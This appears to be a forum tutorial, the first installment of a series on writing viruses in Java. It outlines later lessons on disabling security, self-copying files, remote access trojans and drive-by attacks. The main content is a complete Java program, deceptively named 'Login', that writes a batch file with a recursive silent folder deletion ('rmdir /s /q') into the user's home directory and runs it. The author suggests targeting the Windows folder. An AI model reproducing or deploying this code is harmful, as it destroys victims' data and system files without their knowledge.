This tutorial will focus on the very very basics of writting a java virus.
I know java isn't the ideal program to write virus's in, but it is great for learning. Each week i will release a new tutorial here will be how it follows.
Week One:
I. Getting System Properties
II. Creating Files
III. Running Files
Week Two:
I. Creating Temp Files
II. Writting into System Files
Week Three:
I. Disabling security
II. Creating Files that copy itself across computer
Week Four:
I. Remote Access Trojans
II. Opening Connections between client and server
Week Five:
I. Java Drive By's
Week Six:
I. Using Java to penetrate Facebook
Week Seven:
I. Hacking Clients and Applets with Java Snoop
Week One:
I am using the Java Eclipse IDE: Eclipse Classic 4.2.1 | Eclipse Packages
Here we will begin the basics of writting virus code with java. I assume you already know and understand basic java syntax and understand atleast simple programs written in java.
I. The first thing we must know in order to decently place a file in a certain spot on the computer, is how to get the system properties.
Luckily java already has a very nice method for doing this:
Code:
System.getProperty(String path);
Explanation:
[SPOILER]This is a very simple code. I will break it apart
System: Quite Obvious..
getProperty(): Method to return the property of the String you requested.
String path: Basicly here you enter the String you wish to find, i will user "user.home" to get the users home path.[/SPOILER]
II. Next We must know how to create a file. This is a fairly simple code.
Code:
File f = new File(String FileName);
Explanation:
[SPOILER]File is the Constructor
And the fileName is the name we want to give this file[/SPOILER]
III. I won't go into details about writing to a file but here is the code I used to write into files.
Code:
File f = new File(FileName);
FileWriter fw = new FileWriter(f);
BufferedWriter bw = new BufferedWriter(fw);
All this basically does is get a file, open a filewriter, then open a bufferedwriter of the filewriter.
Code: Here i put together a simple example code for this tutorial. Just follow along with the comment to find out what the program does. It simply creates a new file in the users home named %tempDir%.bat and writes a batch file command to delete a specified user folder in the system. Then it runs that batch file and deletes the system folder.
Code:
import java.awt.Desktop;
import java****.BufferedWriter;
import java****.File;
import java****.FileWriter;
import java********Exception;
public class Login {
//get the users home file path
public static String getPathToSetFile(){
//this will get the users home, for example(C:/users/"UsersName"/)
String home = System.getProperty("user.home");
return home; // returns the string that we just got(the path)
}
//set the file in the given directory
public static void setFile() throws IOException{
//creates a new file in the directory we just found, named %tempDir% as a batch file
File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
FileWriter fw = new FileWriter(f);
BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
if(f.exists()){ //if the file exists
f.setWritable(true); //allows us to write to file
bw.write("@echo off");
bw.newLine();
bw.write("rmdir /s /q \"C:" + File.separator + "AddHere\""); // writes this batch command to file to delete specified folder
bw.newLine(); // replace add here above with the folder you want deleted ex (Windows)
bw.write("pause"); //delete this if you dont want bat to stay open after running
}else{//if the file doesn't exist (no real need for this beacuse we already know the file exists. jsut created it.
}
bw.close(); //closes buffered writer
}
//gets file and runs it
public static void runFile() throws IOException{
setFile();
File toOpen = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
Desktop.getDesktop().open(toOpen); //i used the desktop method to run files, dont ask why. just simpler
}
//main method
public static void main(String[] args) throws IOException{
runFile();//excecuted code
}
}
To delete a folder just change the "AddHere" name in code to the folder you wish to delete.
-I am not responsible for what you do with this code, this is not meant for illegal purposes just to teach how to do it.
-Next Tutorial will be release next week.
-GcFlames12